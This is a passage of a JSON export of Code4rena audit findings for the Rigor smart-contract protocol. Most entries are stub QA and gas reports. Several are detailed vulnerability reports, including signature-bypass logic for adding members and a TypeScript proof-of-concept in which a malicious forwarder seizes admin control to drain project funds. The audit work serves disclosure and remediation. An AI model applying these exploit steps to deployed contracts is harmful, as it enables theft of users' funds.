funding tasks or mark tasks as complete"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/319", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/318", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/316", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/315", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/314", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/312", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/309", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/308", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/306", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/305", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/304", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/303", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/300", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Add members to the not yet created community", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/298", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Community.sol#L187 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Community.sol#L179 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Community.sol#L878 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/libraries/SignatureDecoder.sol#L39 # Vulnerability details ## Impact There is a `addMember` function in the `Community`. The function accepts `_data` that should be signed by the `_community.owner` and `_newMemberAddr`. ``` // Compute hash from bytes bytes32 _hash = keccak256(_data); // Decode params from _data ( uint256 _communityID, address _newMemberAddr, bytes memory _messageHash ) = abi.decode(_data, (uint256, address, bytes)); CommunityStruct storage _community = _communities[_communityID]; // check signatures checkSignatureValidity(_community.owner, _hash, _signature, 0); // must be community owner checkSignatureValidity(_newMemberAddr, _hash, _signature, 1); // must be new member ``` The code above shows exactly what the contract logic looks like. 1) `_communityID` is taken from the data provided by user, so it can arbitrarily. Specifically, community with selected `_communityID` can be not yet created. For instance, it can be equal to the `communityCount + 1`, thus the next created community will have this `_communityID`. 2) `_communities[_communityID]` will store null values for all fields, for a selected `_communityID`. That means, `_community.owner == address(0)` 3) `checkSignatureValidity` with a parameters `address(0), _hash, _signature, 0` will not revert a call if an attacker provide incorrect `_signature`. let's see the implementation of `checkSignatureValidity`: ``` // Decode signer address _recoveredSignature = SignatureDecoder.recoverKey( _hash, _signature, _signatureIndex ); // Revert if decoded signer does not match expected address // Or if hash is not approved by the expected address. require( _recoveredSignature == _address || approvedHashes[_address][_hash], \"Community::invalid signature\" ); // Delete from approvedHash. So that signature cannot be reused. delete approvedHashes[_address][_hash]; ``` No restrictions on `_recoveredSignature` or `_address`. Moreover, if `SignatureDecoder.recoverKey` can return zero value, then there will be no revert. ``` if (messageSignatures.length % 65 != 0) { return (address(0)); } uint8 v; bytes32 r; bytes32 s; (v, r, s) = signatureSplit(messageSignatures, pos); // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(toEthSignedMessageHash(messageHash), v, r, s); } ``` As we can see bellow, `recoverKey` function can return zero value, if an `ecrecover` return zero value or if `v != 27 || v != 28`. Both cases are completely dependent on the input parameters to the function, namely from `signature` that is provided by attacker. 4) `checkSignatureValidity(_newMemberAddr, _hash, _signature, 1)` will not revert the call if an attacker provide correct signature in the function. It is obviously possible. All in all, an attacker can add as many members as they want, BEFORE the `community` will be created. ## Tools Used ## Recommended Mitigation Steps 1) `checkSignatureValidity`/`recoverKey` should revert the call if an `address == 0`. 2) `addMember` should have a `require(_communityId <= communityCount)` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/293", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/292", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/290", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/289", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/288", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/287", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/285", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Task Functionality completely sidestepped via `autoWithdraw`", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/281", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Task Functionality completely sidestepped via `autoWithdraw`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/279", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/277", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/275", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/272", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/271", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/269", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/268", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/267", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Attacker can drain all the projects within minutes, if admin account has been exposed", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/264", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L156-L169 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L199-L208 # Vulnerability details ## Impact In case where the admin wallet has been hacked, the attacker can drain all funds out of the project within minutes. All the attacker needs is the admin to sign a single meta/normal tx. Even though the likelihood of the admin wallet being hacked might be low, given that the impact is critical - I think this makes it at least a medium bug. Examples of cases where the attacker can gain access to admin wallet: * The computer which the admins are using has been hacked * Even if a hardware wallet is used, the attacker can still replace the data sent to the wallet the next time the admin has to sign a tx (whether it's a meta or normal tx) * The website/software where the meta tx data is generated has been hacked and attacker modifies the data for tx * A malicious website tricks the admin into signing a meta tx to replace the admin or forwarder Since the forwarder has the power to do everything in the system , once an attacker manages to replace it with a malicious forwarder, he can do whatever he wants withing minutes: * The forwarder can replace the admin * The forwarder can drain all funds from all projects by changing the subcontractor and marking tasks as complete, or adding new tasks / changing task cost as needed. Even when signatures are required, you can bypass it by using the `approveHash` function. ## Proof of Concept Here's a PoC for taking over and running the `Project.setComplete()` function (I haven't included a whole process of changing SC etc. since that would be too time consuming, but there shouldn't be a difference between functions, all can be impersonated once you control the forwarder). The PoC was added to [projectTests.ts#L1109](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/test/utils/projectTests.ts#L1109), and is based on the 'should be able to complete a task' test. ```typescript it('PoC forwarder overtake', async () => { const attacker = signers[10]; // deploy the malicious forwarder const maliciousForwarder = await deploy('MaliciousForwarder'); const adminAddress = await homeFiContract.admin(); const adminSigner = getSignerByAddress(signers, adminAddress); // attacker takes over await homeFiContract.connect(adminSigner).setTrustedForwarder(maliciousForwarder.address); // attacker can now replace the admin, so that admin can't set the forwarder back let { data } = await homeFiContract.populateTransaction.replaceAdmin( attacker.address ); let from = adminAddress; let to = homeFiContract.address; if (!data) { throw Error('No data'); } let tx = await executeMetaTX(from, to, data); // assert that admin has been replaced by attacker expect(await homeFiContract.admin()).to.be.eq(attacker.address); // attacker can now execute setComplete() using the approveHash() method const taskID = 1; const _taskCost = 2 * taskCost; const taskSC = signers[3]; let completeData = { types: ['uint256', 'address'], values: [taskID, project.address], }; const [encodedData, hash] = await encodeDataAndHash(completeData); await mockDAIContract.mock.transfer .withArgs(taskSC.address, _taskCost) .returns(true); await mockDAIContract.mock.transfer .withArgs(await homeFiContract.treasury(), _taskCost / 1e3) .returns(true); ({data} = await project.populateTransaction.approveHash(hash)); let contractor = await project.contractor(); let {subcontractor} = await project.getTask(taskID); let builder = await project.builder(); await executeMetaTX(contractor, project.address, data as string); await executeMetaTX(subcontractor, project.address, data as string); await executeMetaTX(builder, project.address, data as string); tx = await project.setComplete(encodedData, \"0x\"); await tx.wait(); await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID); const { state } = await project.getTask(taskID); expect(state).to.equal(3); const getAlerts = await project.getAlerts(taskID); expect(getAlerts[0]).to.equal(true); expect(getAlerts[1]).to.equal(true); expect(getAlerts[2]).to.equal(true); expect(await project.lastAllocatedChangeOrderTask()).to.equal(0); expect(await project.changeOrderedTask()).to.deep.equal([]); async function executeMetaTX(from: string, to: string, data: string ) { const gasLimit = await ethers.provider.estimateGas({ to, from, data, }); const message = { from, to, value: 0, gas: gasLimit.toNumber(), nonce: 0, data, }; // @ts-ignore let tx = await maliciousForwarder.execute(message, \"0x\"); return tx; } }); // ----------------------------------------------------- // // Added to ethersHelpers.ts file: export function encodeDataAndHash( data: any): string[] { const encodedData = encodeData(data); const encodedMsgHash = ethers.utils.keccak256(encodedData); return [encodedData, encodedMsgHash]; } ``` ## Recommended Mitigation Steps * Limit `approveHash` to contracts only - I understood from the sponsor that it is used for contracts to sign hashes. So limiting it to contracts only can help prevent stealing funds (from projects that are held by EOA) in case that the forwarder has been compromised (this is effective also in case there's some bug in the forwarder contract). * Alternately, you can also make it use `msg.sender` instead of `_msgSender()`, this will also have a similar effect (it will allow also EOA to use the function, but not via forwarder). * The advantage is that not only it wouldn't cost more than now, it'll even save gas. * Another advantage is that it will also protect projects held by contracts from being impersonated by a malicious forwarder * Make the process of replacing the forwarder or the admin a 2 step process with a delay between the steps (except for disabling the forwarder, in case the forwarder was hacked). This will give the admin the option to take steps to stop the attack, or at least give the users time to withdraw their money. ```solidity /// @inheritdoc IHomeFi function replaceAdmin(address _newAdmin) external override onlyAdmin nonZero(_newAdmin) noChange(admin, _newAdmin) { // Replace admin pendingAdmin = _newAdmin; adminReplacementTime = block.timestamp + 1 days; emit AdminReplaceProposed(_newAdmin); } /// @inheritdoc IHomeFi function executeReplaceAdmin() external override onlyAdmin { require(adminReplacementTime > 0 && block.timestamp > adminReplacementTime, \"HomeFi::adminReplacmantTime\"); // Replace admin admin = pendingAdmin; emit AdminReplaced(_newAdmin); } /// @inheritdoc IHomeFi function setTrustedForwarder(address _newForwarder) external override onlyAdmin noChange(trustedForwarder, _newForwarder) { // allow disabling the forwarder immediately in case it has been hacked if(_newForwarder == address(0)){ trustedForwarder = _newForwarder; } forwarderSetTime = block.timestamp + 3 days; pendingTrustedForwarder = _newForwarder; } function executeSetTrustedForwarder(address _newForwarder) external override onlyAdmin { require(forwarderSetTime > 0 && block.timestamp > forwarderSetTime, \"HomeFi::forwarderSetTime\"); trustedForwarder = pendingTrustedForwarder; } ``` * Consider removing the meta tx for `HomeFi` `onlyAdmin` modifier (i.e. usg `msg.sender` instead of `_msgSender()`), given that it's not going to be used that often it may be worth giving up the comfort for hardening security "}, {"title": "In Project.setComplete(), the signature can be reused when the first call is reverted for some reason.", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/263", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L330 # Vulnerability details ## Impact `setComplete()` function might be called successfully using the past signature when it shouldn't work. As a result, a task might be completed when a builder doesn't want it. ## Proof of Concept [approveHash() function](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L108) can set only true so there is no method to cancel already approved hash without [passing validation here](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L891). So the below scenario would be possible. - A builder, GC, and SC started a task and SC finished the task. - They are approved to complete the task and signed the signature. - But right before to call [setComplete()](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L330) using the signature, the SC felt the cost is too low and raised a dispute to change the order using [raiseDispute()](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493). - As I suggested with another medium issue, the task can't be completed when there is an ongoing dispute from [this document - \"If there is no ongoing dispute about that project, task status is updated and payment is made.\"](https://github.com/code-423n4/2022-08-rigor#tasks-completion-and-payment). So `setComplete()` might revert. - Even if it doesn't check active disputes as now, `setComplete()` might revert when the funds haven't been allocated and a builder signed by fault. - After that, the HomeFi admin accepted the dispute, and the cost of the task was increased as SC wanted. - Then the builder would hope to get more results (or scores) from this task as the cost is increased rather than completed right away. - But SC can call `setComplete()` using the previous signature and complete the task without additional work. - A builder might know about that before and try to update task hash but it will revert because SC doesn't agree to [updateTaskHash()](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L283). - In this case, it's logical to cancel the approved hash [here](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L108) but there is no such option. I don't know if there would be similar problems with other functions that use signature and I think it would reduce the risk a little if we add an option to cancel the approved hash. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps Recommend modifying [approveHash()](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L108) like below. ``` function approveHash(bytes32 _hash, bool _bool) external override { //++++++++++++++++++++ address _sender = _msgSender(); // Allowing anyone to sign, as its hard to add restrictions here. // Store _hash as signed for sender. approvedHashes[_sender][_hash] = _bool; //+++++++++++++++++++ emit ApproveHash(_hash, _sender, _bool); //++++++++++++++++++++++ } ``` I am not so sure that a similar scenario would be possible in the [Community contract](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L501) also and recommend to change both functions together."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/262", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/260", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/258", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Project.checkPrecision() is passing 0 cost.", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L903 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L253 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L417 # Vulnerability details ## Impact The task of zero cost is useless and there would be no subcontractors to accept such task as no payment after finish. So if such task is added by mistake, it would require more time and effort to finish because builder must complete it by himself to recover tokens. ## Proof of Concept It will work properly when _amount = 0. ``` function checkPrecision(uint256 _amount) internal pure { // Divide and multiply amount with 1000 should be equal to amount. // This ensures the amount is not too precise. require( ((_amount / 1000) * 1000) == _amount, \"Project::Precision>=1000\" ); } ``` ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps Recommend changing like below. ``` function checkPrecision(uint256 _amount) internal pure { require(_amount > 0, \"zero amount\"); // Divide and multiply amount with 1000 should be equal to amount. // This ensures the amount is not too precise. require( ((_amount / 1000) * 1000) == _amount, \"Project::Precision>=1000\" ); } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/250", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Builders must pay more interest when the system is paused.", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/248", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Builders must pay more interest when the system is paused."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Project.addTasks() wouldn't work properly when it's called from disputes contract.", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/233", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-08-rigor-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L238 # Vulnerability details ## Impact `addTasks()` function checks [this require()](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L238) to make sure `_taskCount` is correct. But it might revert when this function is called after a dispute because it takes a certain time to resolve disputes and other tasks might be added meanwhile. ## Proof of Concept The below scenario would be possible. - A project contains 10 active tasks(taskCount = 10) and a builder and contractor are going to add one more task. - There were some disagreements between a builder and contractor so they raised a dispute with _taskCount = 10 using [raiseDispute()](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493). - Normally it would take a certain time(like 1 day or more) to resolve the dispute as it must be done by HomeFi owner. - Meanwhile, if the builder and contractor need to add another task, they should set `_taskCount = 10` and `taskCount` will be 11 after addition [here](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L260). - After that, the HomeFi admin agreed to add a task with `_taskCount = 10`, but it will revert [here](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L238). So currently, the project builder and contractor shouldn't add new tasks to make their previous dispute valid. I think it's reasonable to modify that they can add other tasks even though there is an active dispute. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps I think we can modify not to compare [taskCount](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L238) when it's called from disputes contract. So we can modify [this part](https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L238) like below. ``` if (_msgSender() != disputes) { require(_taskCount == taskCount, \"Project::!taskCount\"); } else { _taskCount = taskCount; } ```"}, {"title": "Project.changeOrder() would work unexpectedly for non SCConfirmed tasks.", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/232", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-08-rigor-findings", "body": "Project.changeOrder() would work unexpectedly for non SCConfirmed tasks."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/228", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/222", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/218", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/215", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/211", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/203", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/196", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/193", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/189", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-08-rigor-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-08-rigor-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-rigor-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", 